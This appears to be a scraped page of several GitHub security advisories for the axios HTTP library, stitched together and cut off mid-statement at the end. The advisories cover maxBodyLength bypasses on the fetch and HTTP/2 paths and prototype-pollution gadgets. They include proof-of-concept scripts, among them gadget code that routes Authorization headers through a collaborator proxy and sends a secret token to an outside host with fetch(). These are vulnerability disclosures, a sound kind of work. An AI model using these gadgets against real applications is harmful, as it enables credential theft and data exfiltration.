- Resource exhaustion against the runtime's network stack and against upstream peers.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:27:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\naxios\u2019 fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: \"fetch\"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.\n\nThis affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter\u2019s stream upload path is not affected.\n\n## Impact\n\nAn attacker who can supply or influence a streamed request body can bypass the caller\u2019s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.\n\nThis does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on `maxBodyLength` as the size guard.\n\n## Affected Functionality\n\nAffected:\n- `adapter: \"fetch\"` or environments where axios selects the fetch adapter.\n- Request methods with bodies, such as `POST`, `PUT`, and `PATCH`.\n- `data` as a WHATWG `ReadableStream` without a reliable `Content-Length`.\n- Configurations that set `maxBodyLength` to a finite value.\n\nNot affected:\n- Axios versions before the fetch adapter was introduced.\n- The Node HTTP adapter stream enforcement path.\n- Known-length fetch-adapter bodies in `1.16.0+`, such as strings, `Blob`, `ArrayBuffer`, `ArrayBufferView`, URLSearchParams, spec-compliant FormData, or requests with a finite `Content-Length`.\n\n## Technical Details\n\nIn `lib/adapters/fetch.js`, `getBodyLength()` handles null bodies, `Blob`, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for `ReadableStream`, so `resolveBodyLength(headers, data)` returns `undefined` when no finite `Content-Length` header is present.\n\nThe `maxBodyLength` check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to `fetch()`.\n\nWhen `onUploadProgress` is enabled, axios wraps the request body with `trackStream()`, but that wrapper only reports progress. It does not receive `maxBodyLength` and does not abort once loaded bytes exceed the cap.\n\nThe expected behavior exists in the HTTP adapter: `lib/adapters/http.js` enforces `maxBodyLength` for streamed uploads by counting chunks and rejecting with `ERR_BAD_REQUEST`.\n\n## Proof of Concept of Attack\n\nRun from the axios repo root on Node 18+ against an affected version:\n\n```js\nimport http from \u0027node:http\u0027;\nimport axios from \u0027./index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) =\u003e {\n let received = 0;\n req.on(\u0027data\u0027, (chunk) =\u003e {\n received += chunk.length;\n });\n req.on(\u0027end\u0027, () =\u003e {\n res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({ received, limit: LIMIT }));\n });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\nconst { port } = server.address();\n\nfunction makeReadableStream(totalBytes) {\n const chunk = new Uint8Array(64 * 1024).fill(0x42);\n let remaining = totalBytes;\n\n return new ReadableStream({\n pull(controller) {\n if (remaining \u003c= 0) {\n controller.close();\n return;\n }\n\n const next = remaining \u003e= chunk.length ? chunk : chunk.subarray(0, remaining);\n remaining -= next.length;\n controller.enqueue(next);\n },\n });\n}\n\ntry {\n const response = await axios.post(\n `http://127.0.0.1:${port}/upload`,\n makeReadableStream(PAYLOAD_BYTES),\n {\n adapter: \u0027fetch\u0027,\n maxBodyLength: LIMIT,\n headers: { \u0027content-type\u0027: \u0027application/octet-stream\u0027 },\n }\n );\n\n console.log(response.data);\n} finally {\n server.close();\n}\n```\n\nExpected vulnerable result: the server reports `received: 2097152` even though `maxBodyLength` is `1024`.\n\n## Workarounds\n\nUse the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter `maxBodyLength` for unknown-length `ReadableStream` bodies until a fixed axios version is available.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\naxios\u0027s fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events \u2014 it never enforces a byte cap. Severity: medium.\n\n### Details\nIn lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:\n\nfetch.js Lines 121-155\n```\n const getBodyLength = async (body) =\u003e {\n if (body == null) {\n return 0;\n }\n if (utils.isBlob(body)) {\n return body.size;\n }\n if (utils.isSpecCompliantForm(body)) {\n const _request = new Request(platform.origin, {\n method: \u0027POST\u0027,\n body,\n });\n return (await _request.arrayBuffer()).byteLength;\n }\n if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {\n return body.byteLength;\n }\n if (utils.isURLSearchParams(body)) {\n body = body + \u0027\u0027;\n }\n if (utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n };\n const resolveBodyLength = async (headers, body) =\u003e {\n const length = utils.toFiniteNumber(headers.getContentLength());\n return length == null ? getBodyLength(body) : length;\n };\n```\n\nFor a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:\n\nfetch.js Lines 214-232\n```\n // Enforce maxBodyLength against the outbound request body before dispatch.\n // Mirrors http.js behavior (ERR_BAD_REQUEST / \u0027Request body larger than\n // maxBodyLength limit\u0027). Skip when the body length cannot be determined\n // (e.g. a live ReadableStream supplied by the caller).\n if (hasMaxBodyLength \u0026\u0026 method !== \u0027get\u0027 \u0026\u0026 method !== \u0027head\u0027) {\n const outboundLength = await resolveBodyLength(headers, data);\n if (\n typeof outboundLength === \u0027number\u0027 \u0026\u0026\n isFinite(outboundLength) \u0026\u0026\n outboundLength \u003e maxBodyLength\n ) {\n throw new AxiosError(\n \u0027Request body larger than maxBodyLength limit\u0027,\n AxiosError.ERR_BAD_REQUEST,\n config,\n request\n );\n }\n }\n```\n\nThe in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:\n\nfetch.js Lines 253-261\n```\n if (_request.body) {\n const [onProgress, flush] = progressEventDecorator(\n requestContentLength,\n progressEventReducer(asyncDecorator(onUploadProgress))\n );\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);\n }\n```\nThe body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.\n\n### PoC\n```\nimport http from \u0027node:http\u0027;\nimport axios from \u0027../../index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) =\u003e {\n let received = 0;\n req.on(\u0027data\u0027, (chunk) =\u003e {\n received += chunk.length;\n });\n req.on(\u0027end\u0027, () =\u003e {\n res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({ received, limit: LIMIT }));\n });\n req.on(\u0027error\u0027, () =\u003e {\n /* swallow client-side aborts */\n });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\nconst port = server.address().port;\n\nfunction makeReadableStream(totalBytes) {\n const CHUNK = new Uint8Array(64 * 1024).fill(0x42);\n let remaining = totalBytes;\n return new ReadableStream({\n pull(controller) {\n if (remaining \u003c= 0) {\n controller.close();\n return;\n }\n const next = remaining \u003e= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n remaining -= next.length;\n controller.enqueue(next);\n },\n });\n}\n\ntry {\n let result;\n try {\n const response = await axios.post(\n `http://127.0.0.1:${port}/upload`,\n makeReadableStream(PAYLOAD_BYTES),\n {\n adapter: \u0027fetch\u0027,\n maxBodyLength: LIMIT,\n headers: { \u0027content-type\u0027: \u0027application/octet-stream\u0027 },\n // No content-length: the stream\u0027s total length is unknown ahead of\n // dispatch, which is exactly the vulnerable code path.\n }\n );\n result = { status: response.status, data: response.data };\n } catch (err) {\n result = { error: err \u0026\u0026 (err.code || err.message) };\n }\n\n console.log(\u0027--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---\u0027);\n console.log(\u0027axios result:\u0027, JSON.stringify(result));\n\n const ok =\n result \u0026\u0026\n result.status === 200 \u0026\u0026\n result.data \u0026\u0026\n typeof result.data === \u0027object\u0027 \u0026\u0026\n result.data.received === PAYLOAD_BYTES \u0026\u0026\n result.data.limit === LIMIT;\n\n if (ok) {\n console.log(\n `VULNERABLE: server received ${result.data.received} bytes despite ` +\n `maxBodyLength=${LIMIT}.`\n );\n process.exitCode = 0;\n } else {\n console.log(\u0027NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.\u0027);\n process.exitCode = 1;\n }\n} finally {\n server.close();\n}\n```\n\n### Impact\n- Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).\n- Bypass of cost / quota guards on upstream APIs.\n- Resource exhaustion against the runtime\u0027s network stack and against upstream peers.\n\u003c/details\u003e",
"id": "GHSA-jqh4-m9w3-8hp9",
"modified": "2026-07-20T22:27:12Z",
"published": "2026-07-20T22:27:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`"
}
GHSA-MMX7-HFXF-JPPX
Vulnerability from github – Published: 2026-07-20 22:25 – Updated: 2026-07-20 22:25Summary
axios is vulnerable to read-side prototype-pollution gadgets when Object.prototype has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: axios.get(), axios.delete(), axios.head(), and axios.options() read inherited data before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.
Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited proxy or paramsSerializer values can influence request routing or URL serialization. These low-level paths are not reproduced through normal axios.get() usage on 1.15.2+.
Impact
An attacker who can first pollute Object.prototype can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on GET, DELETE, HEAD, or OPTIONS.
For direct low-level Node HTTP adapter usage, inherited proxy can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.
For direct resolveConfig or browser-adapter helper usage, inherited paramsSerializer can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on 1.15.2+.
Affected Functionality
Affected normal API:
axios.get(url[, config])axios.delete(url[, config])axios.head(url[, config])axios.options(url[, config])
Affected low-level usage:
- Direct calls to
axios/lib/adapters/http.jsoraxios/unsafe/adapters/http.jswith plain configs and no ownproxy. - Direct calls to
axios/unsafe/helpers/resolveConfig.jsor direct browser adapter/helper paths with plain configs and no ownparamsSerializer.
Unaffected or corrected scope:
- Normal
axios.get()calls on1.15.2+did not reproduce theproxyorparamsSerializergadgets becausemergeConfig()returns a null-prototype config and uses own-property reads.
Technical Details
lib/core/Axios.js constructs aliases for bodyless methods and copies data with (config || {}).data before config normalization. If Object.prototype.data is polluted, this inherited value becomes an own data property in the merged request config and is sent by the adapter.
lib/core/mergeConfig.js in 1.15.2+ returns a null-prototype config and uses hasOwnProp guards, which prevents normal high-level requests from inheriting polluted proxy and paramsSerializer values after merge. This is why those two reporter claims do not reproduce through normal axios.get() on 1.15.2 or 1.16.1.
The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of config.proxy in the Node HTTP adapter and config.paramsSerializer in affected resolveConfig() versions can consume inherited polluted values.
Proof of Concept of Attack
import http from 'http';
import axios from 'axios';
const server = http.createServer((req, res) => {
let body = '';
req.on('data', chunk => {
body += chunk;
});
req.on('end', () => {
res.writeHead(200, {'content-type': 'application/json'});
res.end(JSON.stringify({body, headers: req.headers}));
});
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.data = 'INJECTED';
try {
const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);
console.log(res.data.body); // "INJECTED"
console.log(res.data.headers['content-length']); // "8"
} finally {
delete Object.prototype.data;
await new Promise(resolve => server.close(resolve));
}
Expected result: a request body is sent even though the caller did not explicitly set config.data.
Workarounds
Avoid processing untrusted input with libraries or code paths that can pollute Object.prototype. As a defense-in-depth mitigation before an axios fix is available, explicitly pass data: undefined on bodyless method aliases when running in a process where prototype pollution is a concern.
import axios from 'axios';
// gadget 1 - proxy
Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };
await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });
// check collaborator - request arrives with full path + auth header
// gadget 2 - data on bodyless methods
Object.prototype.data = '{"injected":true}';
await axios.get('https://api.example.com/items');
await axios.delete('https://api.example.com/items/1');
await axios.head('https://api.example.com/items');
// 3/4 methods send the polluted body
// gadget 3 - paramsSerializer
Object.prototype.paramsSerializer = (p) => {
fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));
return 'q=x';
};
await axios.get('https://api.example.com/search', { params: { token: 'secret' } });
### Impact
Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.33.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:25:07Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n let body = \u0027\u0027;\n\n req.on(\u0027data\u0027, chunk =\u003e {\n body += chunk;\n });\n\n req.on(\u0027end\u0027, () =\u003e {\n res.writeHead(200, {\u0027content-type\u0027: \u0027application/json\u0027});\n res.end(JSON.stringify({body, headers: req.headers}));\n });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\nObject.prototype.data = \u0027INJECTED\u0027;\n\ntry {\n const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n console.log(res.data.body); // \"INJECTED\"\n console.log(res.data.headers[\u0027content-length\u0027]); // \"8\"\n} finally {\n delete Object.prototype.data;\n await new Promise(resolve =\u003e server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from \u0027axios\u0027;\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: \u0027yourcollab.oastify.com\u0027, port: 8080, protocol: \u0027http\u0027 };\nawait axios.get(\u0027https://api.example.com/user\u0027, { headers: { Authorization: \u0027Bearer sk-test-1234567890\u0027 } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = \u0027{\"injected\":true}\u0027;\nawait axios.get(\u0027https://api.example.com/items\u0027);\nawait axios.delete(\u0027https://api.example.com/items/1\u0027);\nawait axios.head(\u0027https://api.example.com/items\u0027);\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) =\u003e {\n fetch(\u0027https://yourcollab.oastify.com/?\u0027 + new URLSearchParams(p));\n return \u0027q=x\u0027;\n};\nawait axios.get(\u0027https://api.example.com/search\u0027, { params: { token: \u0027secret\u0027 } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n\u003c/details\u003e",
"id": "GHSA-mmx7-hfxf-jppx",
"modified": "2026-07-20T22:25:07Z",
"published": "2026-07-20T22:25:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11001"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.33.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Prototype pollution gadgets can alter axios request construction"
}
GHSA-MWF2-3PR3-8698
Vulnerability from github – Published: 2026-07-20 22:37 – Updated: 2026-07-20 22:37Summary
Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass maxBodyLength enforcement when requests are sent with httpVersion: 2.
This affects applications that rely on maxBodyLength as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.
Impact
An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured maxBodyLength limit.
Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.
Browser adapters are not affected. Axios calls using the default unlimited maxBodyLength: -1 do not cross this specific configured-limit boundary.
Affected Functionality
Affected calls require all of the following:
- Node.js HTTP adapter.
httpVersion: 2.- Request
datasupplied as a stream. - A finite
maxBodyLength. - Attacker-controlled or attacker-influenced stream contents.
Unaffected or differently affected paths:
- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.
- Browser XHR/fetch adapters are not affected.
- HTTP/1.1 requests using
follow-redirectsenforceoptions.maxBodyLength. - In
axios >=1.15.1, settingmaxRedirects: 0on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.
Technical Details
In lib/adapters/http.js, axios selects http2Transport whenever httpVersion resolves to 2. The adapter still stores config.maxBodyLength on options.maxBodyLength, but Node’s HTTP/2 request API does not enforce that option.
The stream-level byte-counting wrapper is currently gated on config.maxBodyLength > -1 && config.maxRedirects === 0. For HTTP/2 requests using the default redirect setting, axios does not use follow-redirects and also does not enter this wrapper, so uploadStream.pipe(req) sends the full stream.
Local verification against the current v1.x checkout showed a request with maxBodyLength: 1024 successfully transmitting 2097152 bytes over HTTP/2.
No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 maxRedirects: 0 path.
Proof of Concept of Attack
import http2 from 'node:http2';
import {Readable} from 'node:stream';
import axios from './index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
const server = http2.createServer();
server.on('stream', (stream) => {
let received = 0;
stream.on('data', (chunk) => {
received += chunk.length;
});
stream.on('end', () => {
stream.respond({':status': 200, 'content-type': 'application/json'});
stream.end(JSON.stringify({received, limit: LIMIT}));
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
function makeBody(total) {
const chunk = Buffer.alloc(64 * 1024, 0x41);
let remaining = total;
return new Readable({
read() {
if (remaining <= 0) {
this.push(null);
return;
}
const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
remaining -= next.length;
this.push(next);
}
});
}
try {
const response = await axios.post(
`http://127.0.0.1:${server.address().port}/upload`,
makeBody(PAYLOAD_BYTES),
{
httpVersion: 2,
maxBodyLength: LIMIT,
headers: {'content-type': 'application/octet-stream'}
}
);
console.log(response.data);
// Vulnerable result: { received: 2097152, limit: 1024 }
} finally {
server.close();
}
Workarounds
For axios >=1.15.1, set maxRedirects: 0 on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.
For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid httpVersion: 2 for untrusted streamed uploads.### Summary
On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.
if (isHttp2) {
transport = http2Transport;
} else {
const configTransport = own('transport');
if (configTransport) {
transport = configTransport;
} else if (config.maxRedirects === 0) {
transport = isHttpsRequest ? https : http;
isNativeTransport = true;
} else {
if (config.maxRedirects) {
options.maxRedirects = config.maxRedirects;
}
const configBeforeRedirect = own('beforeRedirect');
if (configBeforeRedirect) {
options.beforeRedirects.config = configBeforeRedirect;
}
transport = isHttpsRequest ? httpsFollow : httpFollow;
}
}
maxBodyLength is then stored on the request options:
http.js Lines 958-963
if (config.maxBodyLength > -1) {
options.maxBodyLength = config.maxBodyLength;
} else {
// follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited
options.maxBodyLength = Infinity;
}
…but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:
http.js Lines 1270-1304
// Enforce maxBodyLength for streamed uploads on the native http/https
// transport (maxRedirects === 0); follow-redirects enforces it on the
// other path.
let uploadStream = data;
if (config.maxBodyLength > -1 && config.maxRedirects === 0) {
const limit = config.maxBodyLength;
let bytesSent = 0;
uploadStream = stream.pipeline(
[
data,
new stream.Transform({
transform(chunk, _enc, cb) {
bytesSent += chunk.length;
if (bytesSent > limit) {
return cb(
new AxiosError(
'Request body larger than maxBodyLength limit',
AxiosError.ERR_BAD_REQUEST,
config,
req
)
);
}
cb(null, chunk);
},
}),
],
utils.noop
);
uploadStream.on('error', (err) => {
if (!req.destroyed) req.destroy(err);
});
}
uploadStream.pipe(req);
For the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.
### PoC
import http2 from 'node:http2';
import { Readable } from 'node:stream';
import axios from '../../index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an
// `http://...` authority, which mirrors what axios does when the request URL
// uses `http://` and `httpVersion: 2`.
const server = http2.createServer();
server.on('stream', (stream, _headers) => {
let received = 0;
stream.on('data', (chunk) => {
received += chunk.length;
});
stream.on('end', () => {
stream.respond({
':status': 200,
'content-type': 'application/json',
});
stream.end(JSON.stringify({ received, limit: LIMIT }));
});
stream.on('error', () => {
/* swallow client-side aborts */
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
function makeBodyStream(totalBytes) {
const CHUNK = Buffer.alloc(64 * 1024, 0x41);
let remaining = totalBytes;
return new Readable({
read() {
if (remaining <= 0) {
this.push(null);
return;
}
const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
remaining -= next.length;
this.push(next);
},
});
}
try {
let result;
try {
const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {
httpVersion: 2,
maxBodyLength: LIMIT,
// We intentionally do NOT set maxRedirects: 0 — that flag activates the
// existing HTTP/1 byte-counting wrapper. The bug under test is that the
// HTTP/2 transport path skips that wrapper entirely.
headers: { 'content-type': 'application/octet-stream' },
// Omit content-length so the body is streamed without a known length.
});
result = { status: response.status, data: response.data };
} catch (err) {
result = { error: err && (err.code || err.message) };
}
console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');
console.log('axios result:', JSON.stringify(result));
const ok =
result &&
result.status === 200 &&
result.data &&
typeof result.data === 'object' &&
result.data.received === PAYLOAD_BYTES &&
result.data.limit === LIMIT;
if (ok) {
console.log(
`VULNERABLE: server received ${result.data.received} bytes despite ` +
